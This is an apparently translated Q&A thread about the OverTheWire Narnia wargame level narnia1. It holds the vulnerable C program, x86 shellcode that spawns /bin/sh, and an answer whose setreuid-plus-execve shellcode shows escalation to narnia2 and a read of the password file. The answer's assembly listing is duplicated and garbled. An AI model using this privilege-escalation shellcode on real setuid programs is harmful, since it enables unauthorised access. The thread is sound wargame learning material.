Il codice shell non viene eseguito come proprietario

1

(Questa è una domanda riguardante una sfida in un wargame su overthewire.org chiamato Narnia)

Ecco il codice sorgente dello script vulnerabile "narnia1" che intendo sfruttare:

#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){    
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

Quindi in pratica esegue le cose memorizzate nella variabile di ambiente "EGG".

Ho impostato "EGG" come shellcode come mostrato qui:

export EGG='python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"'

che esegue /bin/sh .

Il proprietario di questo file (narnia1) è "narnia2" come mostrato di seguito, ci aspettiamo che la shell sia eseguita come "narnia2".

narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x  2 root    root    4096 Nov  9 15:08 .
drwxr-xr-x 25 root    root    4096 Mar 12 09:58 ..
-r-sr-x---  1 narnia1 narnia0 7568 Nov  9 15:08 narnia0
-r--r-----  1 narnia0 narnia0 1186 Nov  9 15:08 narnia0.c
-r-sr-x---  1 narnia2 narnia1 7404 Nov  9 15:08 narnia1
-r--r-----  1 narnia1 narnia1 1000 Nov  9 15:08 narnia1.c
...

Tuttavia, questo è quello che ho ottenuto:

narnia1@narnia:/narnia$ export EGG='python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"'
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia1

E non ho idea del perché questo mi dà una shell come "narnia1" invece di "narnia2".

Qualche idea?

    
posta Lowell 29.04.2018 - 13:29
fonte

2 risposte

1

Ho sofferto per un po 'di tempo e alla fine ho dovuto modificare alcuni shellcode che ho trovato online.

;;; Corrected assembler, based on original from:-
;;; http://shell-storm.org/shellcode/files/shellcode-399.php

      BITS 32

      push byte   0x31
      pop         eax               ; EAX = 0x31
      xor         edx, edx
      int         0x80              ; geteuid();
      mov         ebx, eax          ; result into both args of setreuid() call...
      mov         ecx, eax
      push byte   0x46              ; 
      pop         eax               ; EAX = 0x46
      int         0x80              ; setreuid(geteuid(),geteuid());
      mov         al, 0xb           ; execve syscall
      push        edx               ; push 
"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
string terminator push 0x68732f6e ; hs/n push 0x69622f2f ; ib// mov ebx, esp ; EBX -> "//bin/sh" mov ecx, edx ; ECX = 0 int 0x80 ; execve(/bin/sh,0,0);

Ecco la stringa shellcode: -

narnia1@narnia:/narnia$ export EGG='python -c 'print "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"''
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
******* (the password)

Ed ecco come usarlo: -

;;; Corrected assembler, based on original from:-
;;; http://shell-storm.org/shellcode/files/shellcode-399.php

      BITS 32

      push byte   0x31
      pop         eax               ; EAX = 0x31
      xor         edx, edx
      int         0x80              ; geteuid();
      mov         ebx, eax          ; result into both args of setreuid() call...
      mov         ecx, eax
      push byte   0x46              ; 
      pop         eax               ; EAX = 0x46
      int         0x80              ; setreuid(geteuid(),geteuid());
      mov         al, 0xb           ; execve syscall
      push        edx               ; push 
"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"
string terminator push 0x68732f6e ; hs/n push 0x69622f2f ; ib// mov ebx, esp ; EBX -> "//bin/sh" mov ecx, edx ; ECX = 0 int 0x80 ; execve(/bin/sh,0,0);
    
risposta data 03.09.2018 - 16:25
fonte
0

Nei CTF in cui nc / ssh in per sfruttare un programma, è normale che il binario sia setuid.

Quindi ti è permesso di connetterti come utente1, ma il flag appartiene a user2. Sfruttando il setuid, binary diventa utente2, a cui è consentito leggere il flag.

Non è banale creare ambienti, dove gli utenti possono accedere e sfruttare roba, senza la possibilità di barare o danneggiare gli ambienti.

    
risposta data 04.09.2018 - 07:39
fonte